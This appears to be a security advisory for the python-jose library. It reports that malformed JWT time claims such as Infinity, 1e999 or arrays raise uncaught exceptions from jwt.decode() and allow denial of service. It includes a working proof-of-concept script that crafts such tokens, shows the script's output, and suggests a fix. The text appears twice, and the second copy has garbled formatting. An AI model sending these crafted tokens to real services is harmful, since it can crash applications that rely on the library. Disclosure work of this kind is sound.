0x01 Affected version
vendor: https://github.com/mpdavis/python-jose
version: 3.5.0 (latest, verified); earlier releases share the same code path and are very likely affected.
0x02 What kind of vulnerability is it? Who is impacted?
jose.jwt.decode() documents that it raises JWTError / JWTClaimsError / ExpiredSignatureError. When a token's exp, nbf, or iat claim is a JSON value that int() rejects with an exception that is not a subclass of ValueError, that exception propagates uncaught out of decode():
| Claim value |
Uncaught exception |
Infinity, -Infinity (parsed by json.loads by default) |
OverflowError |
overflowing float literal, e.g. 1e999 |
OverflowError |
JSON array [1,2] / object {} |
TypeError |
Applications that catch only JWTError (the documented contract) do not catch these, so a crafted token produces an unhandled exception — HTTP 500 / worker crash / an error path that assumes a JWTError — instead of a clean 401. Denial of service; no confidentiality or integrity impact. CWE-248 (Uncaught Exception).
Suggested severity: Low — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L (3.1).
0x03 Root cause
jose/jwt.py:
- the
int(claims["iat"]) call at L269 — inside except ValueError: (L270)
- the
int(claims["nbf"]) call at L294 — inside except ValueError: (L295)
- the
int(claims["exp"]) call at L324 — inside except ValueError: (L325)
OverflowError and TypeError are not subclasses of ValueError, so they are not caught and propagate past decode().
For contrast, the _validate_at_hash() helper in the same file (L467) already catches (TypeError, ValueError) — the three time-claim validators are inconsistent with it.
json.loads() (jose/jwt.py L167, L243) is called without parse_constant, so Infinity / -Infinity / NaN are accepted and turned into Python floats before validation.
0x04 Proof of Concept
from jose import jwt
import base64
h = base64.urlsafe_b64encode(b'{"alg":"HS256"}').rstrip(b'=')
for body in (b'{"exp": Infinity}', b'{"nbf": 1e999}', b'{"iat": Infinity}',
b'{"exp": [1,2]}', b'{"exp": {}}'):
p = base64.urlsafe_b64encode(body).rstrip(b'=')
token = (h + b'.' + p + b'.AAAA').decode()
try:
jwt.decode(token, "", options={"verify_signature": False})
except Exception as e:
print(f"{body!r:22} -> {type(e).__name__}: {e}")
Output (python-jose[cryptography]==3.5.0, Python 3.13):
b'{"exp": Infinity}' -> OverflowError: cannot convert float infinity to integer
b'{"nbf": 1e999}' -> OverflowError: cannot convert float infinity to integer
b'{"iat": Infinity}' -> OverflowError: cannot convert float infinity to integer
b'{"exp": [1,2]}' -> TypeError: int() argument must be a string, a bytes-like object or a real number, not 'list'
b'{"exp": {}}' -> TypeError: int() argument must be a string, a bytes-like object or a real number, not 'dict'
Reachability:
- No signature required —
jwt.decode(token, "", options={"verify_signature": False}) is a documented, supported option (inspect claims / verify signature elsewhere). The token is fully attacker-controlled.
- Any holder of a validly-signed token — claims validation runs after signature verification. A validly-signed HS256 token carrying
{"exp": Infinity} raises the same uncaught OverflowError from jwt.decode(token, secret, algorithms=["HS256"]).
Control: {"exp": "abc"} correctly raises JWTClaimsError: Expiration Time claim (exp) must be an integer., and {"exp": 1000000000} raises ExpiredSignatureError — confirming this is specific to the missed exception types, not a general parsing break.
0x05 Suggested fix
In _validate_exp, _validate_nbf, _validate_iat:
try:
exp = int(claims["exp"])
except (TypeError, ValueError, OverflowError):
raise JWTClaimsError("Expiration Time claim (exp) must be an integer.")
Optionally also pass a parse_constant callback to the json.loads() calls in jwt.py / jws.py so Infinity / -Infinity / NaN are rejected at parse time.
0x01 Affected version
vendor: https://github.com/mpdavis/python-jose
version: 3.5.0 (latest, verified); earlier releases share the same code path and are very likely affected.
0x02 What kind of vulnerability is it? Who is impacted?
jose.jwt.decode()documents that it raisesJWTError/JWTClaimsError/ExpiredSignatureError. When a token'sexp,nbf, oriatclaim is a JSON value thatint()rejects with an exception that is not a subclass ofValueError, that exception propagates uncaught out ofdecode():Infinity,-Infinity(parsed byjson.loadsby default)OverflowError1e999OverflowError[1,2]/ object{}TypeErrorApplications that catch only
JWTError(the documented contract) do not catch these, so a crafted token produces an unhandled exception — HTTP 500 / worker crash / an error path that assumes aJWTError— instead of a clean 401. Denial of service; no confidentiality or integrity impact. CWE-248 (Uncaught Exception).Suggested severity: Low —
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L(3.1).0x03 Root cause
jose/jwt.py:int(claims["iat"])call at L269 — insideexcept ValueError:(L270)int(claims["nbf"])call at L294 — insideexcept ValueError:(L295)int(claims["exp"])call at L324 — insideexcept ValueError:(L325)OverflowErrorandTypeErrorare not subclasses ofValueError, so they are not caught and propagate pastdecode().For contrast, the
_validate_at_hash()helper in the same file (L467) already catches(TypeError, ValueError)— the three time-claim validators are inconsistent with it.json.loads()(jose/jwt.pyL167, L243) is called withoutparse_constant, soInfinity/-Infinity/NaNare accepted and turned into Python floats before validation.0x04 Proof of Concept
Output (
python-jose[cryptography]==3.5.0, Python 3.13):b'{"exp": Infinity}' -> OverflowError: cannot convert float infinity to integer
b'{"nbf": 1e999}' -> OverflowError: cannot convert float infinity to integer
b'{"iat": Infinity}' -> OverflowError: cannot convert float infinity to integer
b'{"exp": [1,2]}' -> TypeError: int() argument must be a string, a bytes-like object or a real number, not 'list'
b'{"exp": {}}' -> TypeError: int() argument must be a string, a bytes-like object or a real number, not 'dict'
Reachability:
jwt.decode(token, "", options={"verify_signature": False})is a documented, supported option (inspect claims / verify signature elsewhere). The token is fully attacker-controlled.{"exp": Infinity}raises the same uncaughtOverflowErrorfromjwt.decode(token, secret, algorithms=["HS256"]).Control:
{"exp": "abc"}correctly raisesJWTClaimsError: Expiration Time claim (exp) must be an integer., and{"exp": 1000000000}raisesExpiredSignatureError— confirming this is specific to the missed exception types, not a general parsing break.0x05 Suggested fix
In
_validate_exp,_validate_nbf,_validate_iat:Optionally also pass a
parse_constantcallback to thejson.loads()calls injwt.py/jws.pysoInfinity/-Infinity/NaNare rejected at parse time.